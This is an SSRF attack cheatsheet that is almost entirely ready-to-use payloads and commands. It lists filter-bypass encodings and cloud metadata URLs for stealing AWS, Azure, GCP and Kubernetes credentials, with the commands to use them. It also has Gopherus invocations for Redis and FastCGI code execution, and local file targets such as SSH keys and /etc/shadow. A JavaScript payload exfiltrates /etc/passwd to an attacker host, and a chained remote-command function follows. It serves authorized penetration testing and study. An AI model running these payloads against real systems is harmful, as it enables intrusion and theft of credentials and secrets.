Cheatsheet
Detection
Section titled “Detection”?url=http://<COLLAB> # OOB - confirms request reaches your host?url=file:///etc/passwd # local file read?url=http://127.0.0.1:80 # localhost reachable?url=http://169.254.169.254/ # cloud metadata reachableSchemas
Section titled “Schemas”http://, https:// # standardfile:///etc/passwd # local file readgopher://127.0.0.1:6379/_<PAYLOAD> # protocol smuggling (curl-only)ftp://<ATTACKER>/ # FTP fetchdict://127.0.0.1:11211/stats # text protocols (Memcached)ldap://<ATTACKER>/ # NTLM hash steal on Java/Windowsphp://filter/convert.base64-encode/resource=index.php # PHP source disclosuredata://text/plain,Hello # inline datajar:http://<ATTACKER>/x.jar!/file # Java classpath fetchIP encoding bypass
Section titled “IP encoding bypass”| Form | Value |
|---|---|
127.0.0.1 | Standard (the one usually filtered) |
127.1 | Short-form |
0.0.0.0 | Any-interface |
2130706433 | Decimal |
0x7f000001 | Hex |
017700000001 | Octal |
[::] | IPv6 unspecified |
[::1] | IPv6 loopback |
[::ffff:127.0.0.1] | IPv4-mapped IPv6 |
127.0.0.1.nip.io | DNS resolves to 127.0.0.1 |
Generate alternates:
import socket, structip = "169.254.169.254"n = struct.unpack("!I", socket.inet_aton(ip))[0]print(n, hex(n), oct(n))# 2852039166 0xa9fea9fe 0o25177724776URL parser confusion
Section titled “URL parser confusion”http://[email protected]/ # @ split - host is 127.0.0.1http://127.0.0.1#example.com # fragment - server-side ignoreshttp://example.com/?next=http://127.0.0.1 # path/query smugglehttp://example.com\@127.0.0.1/ # backslash (Java)http://example.com.evil.com/ # subdomain trick on substring filtersCloud metadata
Section titled “Cloud metadata”# IMDSv1 (legacy, no auth)?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName>?url=http://169.254.169.254/latest/user-data/
# IMDSv2 (token-based, requires PUT + header)?url=http://169.254.169.254/latest/api/token# Header: X-aws-ec2-metadata-token-ttl-seconds: 21600# Method: PUTUse credentials:
export AWS_ACCESS_KEY_ID=ASIA...export AWS_SECRET_ACCESS_KEY=...export AWS_SESSION_TOKEN=...aws sts get-caller-identityaws s3 ls?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01# Header required: Metadata: true
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com# Header required: Metadata: trueTOKEN="<access_token>"curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token# Header required: Metadata-Flavor: Google
?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=json?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token?url=https://kubernetes.default.svc/api/v1/namespaces# Header: Authorization: Bearer <TOKEN>kubectl --server=https://<api> --token=$TOKEN --insecure-skip-tls-verify get pods --all-namespacesInternal port scan
Section titled “Internal port scan”# ffuf with length filterffuf -w ports.txt:PORT -u "http://<TARGET>/?url=http://127.0.0.1:PORT" -fs 30
# ffuf with regex filter (when length varies)ffuf -w ports.txt:PORT -u "http://<TARGET>/?url=http://127.0.0.1:PORT" -fr 'Errno 111'
# Quick port wordlistecho -e "21\n22\n80\n443\n3306\n5000\n5432\n6379\n8009\n8080\n8443\n9090\n9200\n11211\n27017" > ports.txtCommon internal hostnames:
localhost, 127.0.0.1, 127.1, 0.0.0.0internal, internal.local, internal.app.localapi, api.internal, admin, admin.internalhost.docker.internalkubernetes.default.svcmetadata, metadata.google.internalGopher protocol smuggling
Section titled “Gopher protocol smuggling”Use Gopherus:
git clone https://github.com/tarunkant/Gopheruspython2 gopherus.py --exploit redis # Redis → SSH key / cron / PHP shellpython2 gopherus.py --exploit memcached # Memcached store/retrievepython2 gopherus.py --exploit fastcgi # PHP-FPM RCEpython2 gopherus.py --exploit smtp # internal SMTP sendpython2 gopherus.py --exploit mysql # MySQL query as known userOutput is a gopher URL - URL-encode once more for the SSRF parameter, submit.
Local file targets
Section titled “Local file targets”file:///etc/passwdfile:///etc/shadow # if rootfile:///proc/self/environ # env vars (best first read)file:///proc/self/cmdline # process argsfile:///proc/net/tcp # listening socketsfile:///root/.aws/credentialsfile:///root/.ssh/id_rsafile:///app/.env # framework secretsfile:///var/www/html/.envfile:///app/config/database.ymlBlind SSRF - JS exfil via wkhtmltopdf
Section titled “Blind SSRF - JS exfil via wkhtmltopdf”<script>var read = new XMLHttpRequest();var send = new XMLHttpRequest();read.onload = function() { if (read.readyState === 4) { send.open("GET", "http://<ATTACKER>/?d=" + btoa(read.responseText), true); send.send(); }};read.open("GET", "file:///etc/passwd", true);read.send();</script>User-Agent in your callback contains wkhtmltopdf → JS execution available.
Time-based detection
Section titled “Time-based detection”# Reachable internal service - fast (~50ms)?url=http://127.0.0.1:80
# Unreachable IP - slow (~10s timeout)?url=http://192.0.2.1 # TEST-NET-1
# Loop portsfor p in 22 80 443 3306 6379; do t=$(curl -s -o /dev/null -w "%{time_total}" "http://<TARGET>/?url=http://127.0.0.1:$p") echo "$p: $t"doneOOB listeners
Section titled “OOB listeners”# Burp Collaborator (Burp Pro)# Click "Copy to clipboard" - submit hostname
# interactshinteractsh-client -v
# Self-hostedsudo tcpdump -i any -n udp port 53 # DNSpython3 -m http.server 80 # HTTPnc -lvnp 80 # raw HTTPngrok http 80 # tunnel local serverMulti-hop encoding
Section titled “Multi-hop encoding”# N hops = N levels of URL encodingecho -n 'id; uname -a' | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri# Bash function for repeated chained RCEfunction chain_rce() { local cmd="$1" local enc=$(echo -n "$cmd" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri) curl -s "http://<TARGET>/?url=http%3A%2F%2Fapp1.internal%2Fload%3Fq%3Dhttp%3A%3A%2F%2F%2F%2F127.0.0.1%3A5000%2Frunme%3Fx%3D${enc}"}Quick decision tree
Section titled “Quick decision tree”- Confirm SSRF -
?url=http://<COLLAB>→ check listener - Try
file://-?url=file:///etc/passwd→ if works, dump source code first - Try cloud metadata -
?url=http://169.254.169.254/...→ if AWS, IAM creds in 2 requests - Internal port scan - ffuf with length/regex filter
- Gopher to discovered services - Gopherus generates payloads
- Filter blocks something? - IP alternates first, then
@-split, then DNS rebinding - Output suppressed? - OOB callback; if PDF renderer, JS exfil